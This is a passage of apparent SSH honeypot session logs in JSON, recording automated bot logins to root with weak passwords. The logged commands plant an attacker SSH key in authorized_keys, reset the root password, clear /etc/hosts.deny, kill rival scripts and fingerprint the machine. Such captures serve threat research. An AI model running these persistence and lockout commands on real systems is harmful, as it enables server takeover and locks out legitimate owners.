-m"},{"seq":19,"at":"2026-08-27T11:53:26.262854+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:53:26.527604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:53:27.962098+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:53:28.226339+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:53:29.819131+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:29 up 7 days, 8:43, 0 user, load average: 0.19, 0.17, 0.13\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:53:30.082874+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:53:31.803051+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:53:32.068245+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:53:33.078059+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:53:33.341790+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:53:35.427834+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:53:35.692317+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:53:37.292683+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:53:37.568724+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:53:39.678914+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"ubuntu@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"faf1ed23-d01e-449e-a490-07bd77bfa5a5","name":"whispering-woven-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47952,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:56.198137+00:00","ended_at":"2026-08-27T11:51:58.401380+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:51:34.399429+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:34.726743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:38.274527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:40.344309+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:40.674631+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bSWrGLstZ5rr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:51:40.999909+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:51:41.324909+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:42.291541+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:51:43.147129+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:51:43.473593+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:51:44.310149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:51:44.644065+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:51:46.744094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:51:47.074750+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:51:47.740939+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:51:48.069527+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:51:48.419058+00:00","kind":"output","latency_ms":null,"data":" 11:51:48 up 7 days, 8:41, 0 user, load average: 0.34, 0.39, 0.39\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:51:48.750869+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:51:49.372674+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:51:49.698370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:51:50.538382+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:51:50.883199+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:51:51.711707+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:51 up 7 days, 8:41, 0 user, load average: 0.34, 0.39, 0.39\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:51:52.047103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:51:52.318393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:51:52.653269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:51:53.515725+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:51:53.840545+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:51:54.410833+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:51:54.738508+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:51:55.868809+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:51:56.199085+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:51:58.305047+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"welcome@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"644e4b81-4b47-4b7d-8f6c-f861c58a1d6b","name":"calm-wooded-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":32910,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":299,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:46.426661+00:00","ended_at":"2026-08-27T11:49:47.938006+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:49:27.274924+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:27.575435+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:32.448592+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:32.962100+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:33.260777+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JoIsBWvGdg9J\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:49:33.560742+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:49:33.857893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:34.194007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:49:34.492965+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:49:35.419136+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:49:35.719814+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:49:37.176131+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:37.476595+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:49:38.115204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:49:38.415091+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:49:39.178993+00:00","kind":"output","latency_ms":null,"data":" 11:49:39 up 7 days, 8:39, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:49:39.478890+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:49:40.218679+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:49:40.518608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:49:40.931179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:49:41.231735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:49:41.770935+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:41 up 7 days, 8:39, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:49:42.070622+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:49:42.811923+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:49:43.109930+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:49:43.903147+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:49:44.201813+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:49:44.756113+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:49:45.054970+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:49:46.128256+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:49:46.427449+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:49:47.848760+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Oracle@123456","method":"password","accepted":true,"tier":"other"}]} {"id":"389c32c9-156e-4ee3-8363-321d6eea2cc4","name":"shaded-placid-eagle","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":51716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":781,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:48:39.937153+00:00","ended_at":"2026-08-27T11:48:41.766906+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:48:13.355714+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:48:14.130524+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:48:19.261303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:48:19.625810+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:48:20.398662+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HzLxQEU9cZjD\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:48:21.170611+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:48:21.940586+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:48:22.327071+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:48:23.100347+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:48:24.093932+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:48:24.867074+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:48:26.370109+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:48:27.156098+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:48:27.433518+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:48:28.214151+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:48:28.846172+00:00","kind":"output","latency_ms":null,"data":" 11:48:28 up 7 days, 8:38, 0 user, load average: 0.21, 0.26, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:48:29.635327+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:48:29.952417+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:48:30.729014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:48:31.624775+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:48:32.412065+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:48:32.886382+00:00","kind":"output","latency_ms":null,"data":"top - 11:48:32 up 7 days, 8:38, 0 user, load average: 0.21, 0.26, 0.14\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:48:33.666563+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:48:34.411540+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:48:35.304257+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:48:35.799937+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:48:36.663941+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:48:37.376829+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:48:38.168032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:48:39.164108+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:48:39.938396+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:48:41.523032+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"citrix","method":"password","accepted":true,"tier":"other"}]} {"id":"00030452-c690-4616-bbdc-5492e2710ee0","name":"graceful-glacial-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:48:01.797262+00:00","ended_at":"2026-08-27T11:48:03.011742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:47:41.738758+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:42.083306+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:47.346789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:47.729127+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:48.075027+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Hu4CGze3o5qM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:47:48.421401+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:47:48.776070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:49.396438+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:47:49.744181+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:47:51.001348+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:47:51.357202+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:47:52.503201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:52.855409+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:47:53.314644+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:47:53.661685+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:47:54.162239+00:00","kind":"output","latency_ms":null,"data":" 11:47:54 up 7 days, 8:38, 0 user, load average: 0.34, 0.42, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:47:54.509137+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:47:55.075339+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:47:55.421650+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:47:56.032591+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:47:56.384285+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:47:56.971703+00:00","kind":"output","latency_ms":null,"data":"top - 11:47:56 up 7 days, 8:38, 0 user, load average: 0.34, 0.42, 0.31\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:47:57.321054+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:47:57.963841+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:47:58.311807+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:47:59.153171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:47:59.500513+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:48:00.115089+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:48:00.466168+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:48:01.453363+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:48:01.797794+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 